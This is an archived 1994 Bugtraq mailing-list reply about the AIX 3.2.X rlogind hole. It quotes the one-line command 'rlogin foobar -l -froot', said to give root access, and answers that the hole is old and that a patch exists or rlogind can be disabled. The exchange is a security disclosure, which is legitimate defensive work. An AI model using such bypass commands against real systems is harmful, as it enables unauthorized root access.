OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Bugtraq archives for 3rd quarter (Jul-Sep) 1994: Re: -froot??? (AIX rlogin bug)

Re: -froot??? (AIX rlogin bug)

Aaron Eppert (aeppertideanet.doe.state.in.us)
Fri, 29 Jul 1994 22:04:35 -0400 (EST) 

On Fri, 29 Jul 1994, Eric Wedaa wrote:

> For instance:
>  
>    rlogin foobar -l -froot
> 
> This gives you root access on any AIX 3.2.X machine.
> 
> Does anyone have any history on this trapdoor?  Apparently
> it also existed in Linux several generations ago.

	OLD HOLE.  Good ol' rlogind hole.  Yes it gives anyone who
	has access to rlogin and half a brain root.  There is a
	patch available or just disable rlogind.

		Aaron